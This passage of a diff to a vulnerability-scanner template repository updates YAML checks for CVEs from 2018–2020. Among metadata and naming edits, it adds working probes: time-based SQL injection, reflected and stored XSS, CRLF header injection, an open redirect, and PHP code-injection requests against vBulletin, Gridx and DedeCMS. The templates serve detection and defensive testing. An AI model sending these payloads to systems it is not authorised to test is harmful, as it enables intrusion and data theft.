+      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"
 
     matchers-condition: and
     matchers:
@@ -27,9 +27,7 @@ requests:
       - type: word
         part: body
         words:
-          - "phpinfo"
-          - "PHP Version"
-        condition: and
+          - "4cc32a3a81d2bb37271934a48ce4468a"
 
       - type: status
         status:

cves/2019/CVE-2019-10232.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-10232
 
 info:
-  name: Teclib GLPI <= 9.3.3 Unauthenticated SQL Injection
+  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
   author: RedTeamBrasil
   severity: critical
   description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature

cves/2019/CVE-2019-12314.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-12314
 
 info:
-  name: Deltek Maconomy 2.2.5 Local File Inclusion
+  name: Deltek Maconomy 2.2.5 - Local File Inclusion
   author: madrobot
   severity: critical
   description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.

cves/2019/CVE-2019-12616.yaml

@@ -1,10 +1,10 @@
 id: CVE-2019-12616
 
 info:
-  name: phpMyAdmin < 4.9.0 - CSRF
+  name: phpMyAdmin <4.9.0 - Cross-Site Request Forgery
   author: Mohammedsaneem,philippedelteil,daffainfo
   severity: medium
-  description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim.
+  description: phpMyAdmin before 4.9.0 is susceptible to cross-site request forgery. An attacker can utilize a broken <img> tag which points at the victim's phpMyAdmin database, thus leading to potential delivery of a payload, such as a specific INSERT or DELETE statement.
   reference:
     - https://www.phpmyadmin.net/security/PMASA-2019-4/
     - https://www.exploit-db.com/exploits/46982
@@ -50,3 +50,5 @@ requests:
         group: 1
         regex:
           - '\?v=([0-9.]+)'
+
+# Enhanced by md on 2023/01/11

cves/2019/CVE-2019-12725.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-12725
 
 info:
-  name: Zeroshell 3.9.0 Remote Command Execution
+  name: Zeroshell 3.9.0 - Remote Command Execution
   author: dwisiswant0,akincibor
   severity: critical
   description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.

cves/2019/CVE-2019-13101.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-13101
 
 info:
-  name: D-Link DIR-600M Authentication Bypass
+  name: D-Link DIR-600M - Authentication Bypass
   author: Suman_Kar
   severity: critical
   description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.

cves/2019/CVE-2019-13392.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-13392
 
 info:
-  name: MindPalette NateMail 3.0.15 Cross-Site Scripting
+  name: MindPalette NateMail 3.0.15 - Cross-Site Scripting
   author: pikpikcu
   severity: medium
   description: MindPalette NateMail 3.0.15 is susceptible to reflected cross-site scripting which could allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.

cves/2019/CVE-2019-14530.yaml

@@ -1,16 +1,16 @@
 id: CVE-2019-14530
 
 info:
-  name: OpenEMR < 5.0.2 - Path Traversal
+  name: OpenEMR <5.0.2 - Local File Inclusion
   author: TenBird
   severity: high
   description: |
-    An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
+    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
   reference:
     - https://www.exploit-db.com/exploits/50037
     - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
     - https://github.com/openemr/openemr/pull/2592
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 8.8
@@ -50,3 +50,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2023/01/15

cves/2019/CVE-2019-15107.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-15107
 
 info:
-  name: Webmin <= 1.920 Unauthenticated Remote Command Execution
+  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
   author: bp0lr
   severity: critical
   description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.

cves/2019/CVE-2019-15501.yaml

@@ -2,9 +2,10 @@ id: CVE-2019-15501
 
 info:
   name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
-  author: LogicalHunter
+  author: LogicalHunter,arafatansari
   severity: medium
-  description: L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
+  description: |
+    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
   reference:
     - https://www.exploit-db.com/exploits/47302
     - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
@@ -14,6 +15,9 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2019-15501
     cwe-id: CWE-79
+  metadata:
+    shodan-query: http.html:"LISTSERV"
+    verified: "true"
   tags: cve,cve2019,xss,listserv,edb
 
 requests:
@@ -24,9 +28,12 @@ requests:
     matchers-condition: and
     matchers:
       - type: word
+        part: body
         words:
           - '</script><script>alert(document.domain)</script>'
-        part: body
+          - 'LISTSERV'
+        condition: and
+        case-insensitive: true
 
       - type: word
         part: header

cves/2019/CVE-2019-16313.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-16313
 
 info:
-  name: ifw8 Router ROM v4.31 Credential Discovery
+  name: ifw8 Router ROM v4.31 - Credential Discovery
   author: pikpikcu
   severity: high
   description: ifw8 Router ROM v4.31 is vulnerable to credential disclosure via action/usermanager.htm HTML source code.

cves/2019/CVE-2019-16662.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-16662
 
 info:
-  name: rConfig 3.9.2 Remote Code Execution
+  name: rConfig 3.9.2 - Remote Code Execution
   author: pikpikcu
   severity: critical
   description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.

cves/2019/CVE-2019-16759.yaml

@@ -15,7 +15,10 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-16759
     cwe-id: CWE-94
-  tags: rce,kev,seclists,cve,cve2019,vbulletin
+  metadata:
+    shodan-query: http.component:"vBulletin"
+    verified: "true"
+  tags: cve,cve2019,rce,kev,seclists,vbulletin
 
 requests:
   - raw:
@@ -24,15 +27,15 @@ requests:
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
-        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        words:
+          - "addcc9f9f2f40e2e6aca3079b73d9d17"
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "PHP Version"
-
-# Enhanced by mp on 2022/03/29

cves/2019/CVE-2019-19908.yaml

@@ -18,7 +18,7 @@ info:
     cwe-id: CWE-79
   metadata:
     verified: true
-    google-dork: inurl:"/plus/pass_reset.php"
+    google-query: inurl:"/plus/pass_reset.php"
   tags: cve,cve2019,phpMyChat,xss
 
 requests:

cves/2019/CVE-2019-20933.yaml

@@ -17,7 +17,7 @@ info:
     cve-id: CVE-2019-20933
     cwe-id: CWE-287
   metadata:
-    shodan-dork: InfluxDB
+    shodan-query: InfluxDB
     verified: "true"
   tags: unauth,db,influxdb,misconfig
 requests:

cves/2019/CVE-2019-2729.yaml

@@ -12,9 +12,10 @@ info:
     - http://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html
     - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2019-2729
+    cwe-id: CWE-284
   tags: cve,cve2019,oracle,rce,weblogic
 
 requests:

cves/2019/CVE-2019-3911.yaml

@@ -9,7 +9,7 @@ info:
     - https://www.tenable.com/security/research/tra-2019-03
     - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-3911
     cwe-id: CWE-79

cves/2019/CVE-2019-3912.yaml

@@ -10,7 +10,7 @@ info:
     - https://www.cvedetails.com/cve/CVE-2019-3912
     - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-3912
     cwe-id: CWE-601

cves/2019/CVE-2019-6802.yaml

@@ -0,0 +1,32 @@
+id: CVE-2019-6802
+
+info:
+  name: Pypiserver 1.2.5 - CRLF Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
+  reference:
+    - https://vuldb.com/?id.130257
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
+    - https://github.com/pypiserver/pypiserver/issues/237
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-6802
+    cwe-id: CWE-79,CWE-74
+  metadata:
+    shodan-query: html:"pypiserver"
+    verified: "true"
+  tags: cve,cve2019,crlf,generic,pypiserver
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - 'Set-Cookie: crlfinjection=1;'

cves/2020/CVE-2020-10546.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-10546
 
 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
   author: madrobot
   severity: critical
   description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement,

cves/2020/CVE-2020-10547.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-10547
 
 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
   author: madrobot
   severity: critical
   description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.

cves/2020/CVE-2020-11110.yaml

@@ -7,9 +7,10 @@ info:
   description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
   reference:
     - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
-    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
+    - https://github.com/grafana/grafana/pull/23254
     - https://security.netapp.com/advisory/ntap-20200810-0002/
     - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+    - https://hackerone.com/reports/1329433
   remediation: This issue can be resolved by updating Grafana to the latest version.
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
@@ -18,7 +19,8 @@ info:
     cwe-id: CWE-79
   metadata:
     shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana
+  tags: cve,cve2020,xss,grafana,hackerone
+
 
 requests:
   - raw:

cves/2020/CVE-2020-11547.yaml

@@ -5,6 +5,9 @@ info:
   author: x6263
   severity: medium
   description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
+  metadata:
+    verified: true
+    shodan-query: title:"prtg"
   reference:
     - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
     - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
@@ -21,7 +24,9 @@ requests:
     path:
       - "{{BaseURL}}/public/login.htm?type=probes"
       - "{{BaseURL}}/public/login.htm?type=requests"
+      - "{{BaseURL}}/public/login.htm?type=treestat"
 
+    stop-at-first-match: true
     req-condition: true
     matchers-condition: and
     matchers:
@@ -33,6 +38,9 @@ requests:
         part: body
         words:
           - "prtg_network_monitor"
+          - "Probes"
+          - "Groups"
+        condition: or
 
       - type: status
         status:

cves/2020/CVE-2020-11991.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-11991
 
 info:
-  name: Apache Cocoon 2.1.12 XML Injection
+  name: Apache Cocoon 2.1.12 - XML Injection
   author: pikpikcu
   severity: high
   description: Apache Cocoon 2.1.12 is susceptible to  XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.

cves/2020/CVE-2020-13121.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-13121
+
+info:
+  name: Submitty 20.04.01 - Open redirect
+  author: 0x_Akoko
+  severity: medium
+  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
+  reference:
+    - https://github.com/Submitty/Submitty/issues/5265
+    - https://www.cvedetails.com/cve/CVE-2020-13121
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2020-13121
+    cwe-id: CWE-601
+  tags: cve,cve2020,redirect,submitty,oos
+
+requests:
+  - raw:
+      - |
+        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{RootURL}}/authentication/login
+
+        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
+
+    cookie-reuse: true
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1

cves/2020/CVE-2020-13700.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-13700
 
 info:
-  name: WordPresss acf-to-rest-api <=3.1.0- Insecure Direct Object Reference
+  name: WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
   author: pikpikcu
   severity: high
   description: |

cves/2020/CVE-2020-13937.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-13937
 
 info:
-  name: Apache Kylin Exposed Configuration File
+  name: Apache Kylin - Exposed Configuration File
   author: pikpikcu
   severity: medium
   description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.

cves/2020/CVE-2020-14408.yaml

@@ -15,7 +15,7 @@ info:
     - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
   metadata:
     verified: true
-  tags: cve,cve2022,cockpit,agentejo,xss,oss
+  tags: cve,cve2020,cockpit,agentejo,xss,oss
 
 requests:
   - method: GET

cves/2020/CVE-2020-19625.yaml

@@ -7,9 +7,9 @@ info:
   description: |
     Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
   reference:
+    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
     - https://github.com/oria/gridx/issues/433
     - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
-    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -19,23 +19,18 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=phpinfo();"
+      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        part: body
+        words:
+          - "6ca86c2c17047c14437f55c42c801c10"
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "PHP Extension"
-          - "PHP Version"
-        condition: and
-    extractors:
-      - type: regex
-        part: body
-        group: 1
-        regex:
-          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'
 
 # Enhanced by mp on 2022/04/27

cves/2020/CVE-2020-21012.yaml

@@ -0,0 +1,39 @@
+id: CVE-2020-21012
+
+info:
+  name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://github.com/hitIer/web_test/tree/master/hotel
+    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-21012
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-21012
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,hotel,sqli,unauth
+
+requests:
+  - raw:
+      - |
+        POST /forgot_password.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        btn_forgot=1&email=1%27%20or%20sleep(6)%23
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(body, "Hotel Booking System")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-23697.yaml

@@ -0,0 +1,65 @@
+id: CVE-2020-23697
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Cross Site Scripting vulnerability in Monstra CMS 3.0.4 via the 'page' feature in admin/index.php.
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/463
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2020-23697
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
+
+variables:
+  string: "{{to_lower('{{randstr}}')}}"
+
+requests:
+  - raw:
+      - |
+        POST /admin/index.php?id=dashboard HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login={{username}}&password={{password}}&login_submit=Log+In
+
+      - |
+        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+      - |
+        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
+
+      - |
+        GET /{{string}} HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(all_headers_4, "text/html")'
+          - 'status_code_4 == 200'
+          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: csrf
+        part: body
+        group: 1
+        regex:
+          - 'id="csrf" name="csrf" value="(.*)">'
+        internal: true

cves/2020/CVE-2020-24902.yaml

@@ -0,0 +1,48 @@
+id: CVE-2020-24902
+
+info:
+  name: Quixplorer <=2.4.1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2020-24902
+    cwe-id: CWE-79
+  metadata:
+    google-query: intitle:"My Download Server"
+    shodan-query: http.title:"My Download Server"
+    verified: "true"
+  tags: cve,cve2020,quixplorer,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script>&srt=yes"
+          - "My Download"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-24903.yaml

@@ -0,0 +1,45 @@
+id: CVE-2020-24903
+
+info:
+  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/bugtraq/2016/Mar/104
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2020-24903
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.component:"ASP.NET"
+    verified: "true"
+  tags: cve,cve2020,cuteeditor,xss,seclists
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script></p>"
+          - "System.Web"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-25213.yaml

@@ -4,7 +4,7 @@ id: CVE-2020-25213
 # http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt
 
 info:
-  name: WordPress File Manager Plugin Remote Code Execution
+  name: WordPress File Manager Plugin - Remote Code Execution
   author: foulenzer
   severity: critical
   description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.

cves/2020/CVE-2020-25223.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-25223
 
 info:
-  name: Sophos UTM Preauth Remote Code Execution
+  name: Sophos UTM Preauth - Remote Code Execution
   author: gy741
   severity: critical
   description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11.

cves/2020/CVE-2020-25506.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-25506
 
 info:
-  name: D-Link DNS-320 Unauthenticated Remote Code Execution
+  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
   author: gy741
   severity: critical
   description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

cves/2020/CVE-2020-2551.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-2551
 
 info:
-  name: Oracle WebLogic Server Remote Code Execution
+  name: Oracle WebLogic Server - Remote Code Execution
   author: dwisiswant0
   severity: critical
   description: |

cves/2020/CVE-2020-26248.yaml

@@ -0,0 +1,40 @@
+id: CVE-2020-26248
+
+info:
+  name: PrestaShop Product Comments <4.2.0 - SQL Injection
+  author: edoardottt
+  severity: high
+  description: |
+    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
+    - https://packagist.org/packages/prestashop/productcomments
+    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
+  remediation: Fixed in 4.2.1.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
+    cvss-score: 8.2
+    cve-id: CVE-2020-26248
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,sqli,prestshop,packetstorm
+
+requests:
+  - raw:
+      - |
+        @timeout: 20s
+        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'contains(body, "average_grade")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-29284.yaml

@@ -0,0 +1,45 @@
+id: CVE-2020-29284
+
+info:
+  name: Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Multi Restaurant Table Reservation System 1.0 contains a SQL injection vulnerability via the file view-chair-list.php. It does not perform input validation on the table_id parameter, which allows unauthenticated SQL injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
+  reference:
+    - https://www.exploit-db.com/exploits/48984
+    - https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
+    - https://github.com/BigTiger2020/-Multi-Restaurant-Table-Reservation-System/blob/main/README.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-29284
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-29284
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2020,tablereservation,sqli,unauth,edb,cve
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+
+      - type: word
+        part: body
+        words:
+          - "Restaurent Tables"
+          - "Chair List"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-35476.yaml

@@ -4,38 +4,43 @@ info:
   name: OpenTSDB <= 2.4.0 - Remote Code Execution
   author: pikpikcu
   severity: critical
-  description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
+  description: |
